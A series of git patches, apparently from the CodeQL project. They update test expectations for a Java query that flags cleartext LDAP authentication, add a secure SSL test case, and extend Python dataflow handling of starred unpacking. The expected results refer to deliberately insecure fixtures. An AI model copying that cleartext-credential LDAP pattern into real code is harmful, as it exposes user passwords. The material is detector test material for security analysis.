InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | -| InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | -| InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:47:100:53 | ldapUrl | +| InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:41:100:47 | ldapUrl | +| InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:115:47:115:53 | ldapUrl | nodes | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | semmle.label | ldapUrl | | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | semmle.label | ... + ... : String | | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | semmle.label | ldapUrl | -| InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | -| InsecureLdapAuth.java:85:41:85:47 | ldapUrl | semmle.label | ldapUrl | | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | -| InsecureLdapAuth.java:100:47:100:53 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:100:41:100:47 | ldapUrl | semmle.label | ldapUrl | +| InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | semmle.label | "ldap://ad.your-server.com:389" : String | +| InsecureLdapAuth.java:115:47:115:53 | ldapUrl | semmle.label | ldapUrl | #select | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:15:41:15:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:11:20:11:50 | "ldap://ad.your-server.com:389" | LDAP connection string | | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | InsecureLdapAuth.java:25:20:25:39 | ... + ... : String | InsecureLdapAuth.java:29:41:29:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:25:20:25:39 | ... + ... | LDAP connection string | -| InsecureLdapAuth.java:85:41:85:47 | ldapUrl | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:85:41:85:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:81:20:81:50 | "ldap://ad.your-server.com:389" | LDAP connection string | -| InsecureLdapAuth.java:100:47:100:53 | ldapUrl | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:47:100:53 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:100:41:100:47 | ldapUrl | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:100:41:100:47 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:96:20:96:50 | "ldap://ad.your-server.com:389" | LDAP connection string | +| InsecureLdapAuth.java:115:47:115:53 | ldapUrl | InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" : String | InsecureLdapAuth.java:115:47:115:53 | ldapUrl | Insecure LDAP authentication from $@. | InsecureLdapAuth.java:111:20:111:50 | "ldap://ad.your-server.com:389" | LDAP connection string | diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java index cc16047ebf2..4052557d8b0 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java @@ -48,6 +48,21 @@ public class InsecureLdapAuth { DirContext dirContext = new InitialDirContext(environment); } + // GOOD - Test LDAP authentication over SSL. + public void testSslLdapAuth2(String ldapUserName, String password) { + String ldapUrl = "ldap://ad.your-server.com:636"; + Hashtable<String, String> environment = new Hashtable<String, String>(); + environment.put(Context.INITIAL_CONTEXT_FACTORY, + "com.sun.jndi.ldap.LdapCtxFactory"); + environment.put(Context.PROVIDER_URL, ldapUrl); + environment.put(Context.REFERRAL, "follow"); + environment.put(Context.SECURITY_AUTHENTICATION, "simple"); + environment.put(Context.SECURITY_PRINCIPAL, ldapUserName); + environment.put(Context.SECURITY_CREDENTIALS, password); + environment.put(Context.SECURITY_PROTOCOL, "ssl"); + DirContext dirContext = new InitialDirContext(environment); + } + // GOOD - Test LDAP authentication with SASL authentication. public void testSaslLdapAuth(String ldapUserName, String password) { String ldapUrl = "ldap://ad.your-server.com:389"; From b10cf78e179986e778c5f8c771cd1a160608d7a1 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 13 Jan 2021 08:40:47 +0100 Subject: [PATCH 0541/1241] Python: start handling iterated unpacking --- .../dataflow/new/internal/DataFlowPrivate.qll | 20 ++++++++++++++----- .../dataflow/coverage/dataflow.expected | 13 ++++++++++++ .../experimental/dataflow/coverage/test.py | 2 +- 3 files changed, 29 insertions(+), 6 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 83daa991eb3..5a34914fe1f 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -126,6 +126,15 @@ module EssaFlow { nodeFrom.(CfgNode).getNode() = nodeTo.(EssaNode).getVar().getDefinition().(AssignmentDefinition).getValue() or + // Definition + // `a, b = iterable` + // nodeFrom = `iterable`, cfg node + // nodeTo = `a, b`, cfg node + exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | + nodeFrom.asExpr() = assign.getValue() and + nodeTo.asCfgNode() = target + ) + or // With definition // `with f(42) as x:` // nodeFrom is `f(42)`, cfg node @@ -1104,12 +1113,13 @@ module unpackinAssignment { } predicate unpackingAssignmentDirectFlowStep(CfgNode nodeFrom, CfgNode nodeTo) { - // `a, b = iterable` - // nodeFrom = `iterable` - // readNode = `a, b` + // `a, *b = iterable` + // nodeFrom = `a, b` + // nodeTo = `*b` exists(Assign assign, SequenceNode target | target.getNode() = assign.getATarget() | - nodeFrom.asExpr() = assign.getValue() and - nodeTo.getNode() = target + nodeFrom.getNode() = target and + nodeTo.getNode() = target.getAnElement() and + nodeTo.asExpr() instanceof Starred ) } diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index bb24a006ee1..c702ea86b78 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -205,8 +205,14 @@ edges | test.py:530:12:530:12 | SSA variable c | test.py:533:10:533:10 | ControlFlowNode for c | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | | test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | +| test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | +| test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | test.py:549:10:549:10 | ControlFlowNode for b [Tuple element at index 0] | +| test.py:549:10:549:10 | ControlFlowNode for b [Tuple element at index 0] | test.py:549:10:549:13 | ControlFlowNode for Subscript | | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:558:28:558:29 | ControlFlowNode for ll [List element, List element] | | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:566:28:566:29 | ControlFlowNode for ll [List element, List element] | @@ -469,7 +475,12 @@ nodes | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | +| test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [Tuple element at index 0] | +| test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | semmle.label | SSA variable b [Tuple element at index 0] | | test.py:548:10:548:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:549:10:549:10 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | +| test.py:549:10:549:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | | test.py:555:11:555:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | test.py:555:12:555:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | @@ -629,6 +640,8 @@ nodes | test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | +| test.py:549:10:549:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:549:10:549:13 | ControlFlowNode for Subscript | Flow found | +| test.py:549:10:549:13 | ControlFlowNode for Subscript | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:549:10:549:13 | ControlFlowNode for Subscript | Flow found | | test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | | test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | | test.py:559:10:559:11 | ControlFlowNode for a1 | test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:559:10:559:11 | ControlFlowNode for a1 | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 3ec8a0af3ce..7cfa9a16f51 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -546,7 +546,7 @@ def test_iterated_unpacking_assignment(): t = (SOURCE, SOURCE, NONSOURCE) a, *b, c = t SINK(a) - SINK(b[0]) # Flow not found + SINK(b[0]) SINK_F(c) From b2d95e617db010336670d32a2587502eb0046a7b Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 13 Jan 2021 09:02:56 +0100 Subject: [PATCH 0542/1241] Python: Test interaction between nesting, iteration, and conversion --- .../dataflow/coverage/dataflow.expected | 551 ++++++++++++------ .../experimental/dataflow/coverage/test.py | 41 ++ 2 files changed, 426 insertions(+), 166 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index c702ea86b78..0f9550b69ab 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -65,10 +65,12 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:30:529:35 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:555:12:555:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:555:31:555:36 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:555:41:555:46 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:651:16:651:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:18:546:23 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:12:556:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:31:556:36 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:41:556:46 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:584:12:584:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:692:16:692:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | @@ -204,80 +206,186 @@ edges | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:12:530:12 | SSA variable c | | test.py:530:12:530:12 | SSA variable c | test.py:533:10:533:10 | ControlFlowNode for c | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:18:546:23 | ControlFlowNode for SOURCE | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | +| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:8:547:9 | SSA variable b | | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | -| test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | test.py:549:10:549:10 | ControlFlowNode for b [Tuple element at index 0] | -| test.py:549:10:549:10 | ControlFlowNode for b [Tuple element at index 0] | test.py:549:10:549:13 | ControlFlowNode for Subscript | -| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:558:28:558:29 | ControlFlowNode for ll [List element, List element] | -| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | -| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:566:28:566:29 | ControlFlowNode for ll [List element, List element] | -| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | test.py:574:28:574:29 | ControlFlowNode for ll [List element, List element] | -| test.py:555:11:555:37 | ControlFlowNode for List [List element] | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | -| test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:555:11:555:37 | ControlFlowNode for List [List element] | -| test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:555:31:555:36 | ControlFlowNode for SOURCE | -| test.py:555:12:555:17 | ControlFlowNode for SOURCE | test.py:555:41:555:46 | ControlFlowNode for SOURCE | -| test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:555:11:555:37 | ControlFlowNode for List [List element] | -| test.py:555:31:555:36 | ControlFlowNode for SOURCE | test.py:555:41:555:46 | ControlFlowNode for SOURCE | -| test.py:555:40:555:47 | ControlFlowNode for List [List element] | test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | -| test.py:555:41:555:46 | ControlFlowNode for SOURCE | test.py:555:40:555:47 | ControlFlowNode for List [List element] | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:558:6:558:23 | IterableElement [List element] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:558:7:558:8 | SSA variable a1 | test.py:559:10:559:11 | ControlFlowNode for a1 | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | test.py:558:7:558:16 | IterableElement | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:558:7:558:8 | SSA variable a1 | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:558:11:558:12 | SSA variable a2 | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:558:15:558:16 | SSA variable a3 | -| test.py:558:7:558:16 | IterableElement | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:558:7:558:16 | IterableElement | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:558:7:558:16 | IterableElement | test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:558:11:558:12 | SSA variable a2 | test.py:560:12:560:13 | ControlFlowNode for a2 | -| test.py:558:15:558:16 | SSA variable a3 | test.py:561:10:561:11 | ControlFlowNode for a3 | -| test.py:558:28:558:29 | ControlFlowNode for ll [List element, List element] | test.py:558:6:558:23 | IterableElement [List element] | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:566:5:566:24 | IterableElement [List element] | test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | -| test.py:566:7:566:8 | SSA variable a1 | test.py:567:10:567:11 | ControlFlowNode for a1 | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | test.py:566:7:566:16 | IterableElement | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:566:7:566:8 | SSA variable a1 | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 1] | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:566:11:566:12 | SSA variable a2 | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:566:15:566:16 | SSA variable a3 | -| test.py:566:7:566:16 | IterableElement | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:566:7:566:16 | IterableElement | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:566:7:566:16 | IterableElement | test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:566:11:566:12 | SSA variable a2 | test.py:568:12:568:13 | ControlFlowNode for a2 | -| test.py:566:15:566:16 | SSA variable a3 | test.py:569:10:569:11 | ControlFlowNode for a3 | -| test.py:566:28:566:29 | ControlFlowNode for ll [List element, List element] | test.py:566:5:566:24 | IterableElement [List element] | -| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:6:574:17 | IterableElement | -| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:7:574:8 | SSA variable a1 | -| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:11:574:12 | SSA variable a2 | -| test.py:574:6:574:17 | ControlFlowNode for List [List element] | test.py:574:15:574:16 | SSA variable a3 | -| test.py:574:6:574:17 | IterableElement | test.py:574:6:574:17 | ControlFlowNode for List [List element] | -| test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:574:6:574:17 | ControlFlowNode for List [List element] | -| test.py:574:6:574:23 | IterableElement [List element] | test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:574:7:574:8 | SSA variable a1 | test.py:575:10:575:11 | ControlFlowNode for a1 | -| test.py:574:11:574:12 | SSA variable a2 | test.py:576:12:576:13 | ControlFlowNode for a2 | -| test.py:574:15:574:16 | SSA variable a3 | test.py:577:10:577:11 | ControlFlowNode for a3 | -| test.py:574:28:574:29 | ControlFlowNode for ll [List element, List element] | test.py:574:6:574:23 | IterableElement [List element] | -| test.py:651:16:651:21 | ControlFlowNode for SOURCE | test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | +| test.py:547:8:547:9 | SSA variable b | test.py:549:12:549:12 | ControlFlowNode for b | +| test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | test.py:550:10:550:10 | ControlFlowNode for b [Tuple element at index 0] | +| test.py:550:10:550:10 | ControlFlowNode for b [Tuple element at index 0] | test.py:550:10:550:13 | ControlFlowNode for Subscript | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:559:28:559:29 | ControlFlowNode for ll [List element, List element] | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:567:28:567:29 | ControlFlowNode for ll [List element, List element] | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:575:28:575:29 | ControlFlowNode for ll [List element, List element] | +| test.py:556:11:556:37 | ControlFlowNode for List [List element] | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | +| test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:11:556:37 | ControlFlowNode for List [List element] | +| test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:31:556:36 | ControlFlowNode for SOURCE | +| test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:41:556:46 | ControlFlowNode for SOURCE | +| test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:556:11:556:37 | ControlFlowNode for List [List element] | +| test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:556:41:556:46 | ControlFlowNode for SOURCE | +| test.py:556:40:556:47 | ControlFlowNode for List [List element] | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | +| test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:556:40:556:47 | ControlFlowNode for List [List element] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:559:6:559:23 | IterableElement [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:559:7:559:8 | SSA variable a1 | test.py:560:10:560:11 | ControlFlowNode for a1 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | test.py:559:7:559:16 | IterableElement | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:7:559:8 | SSA variable a1 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:11:559:12 | SSA variable a2 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:15:559:16 | SSA variable a3 | +| test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] 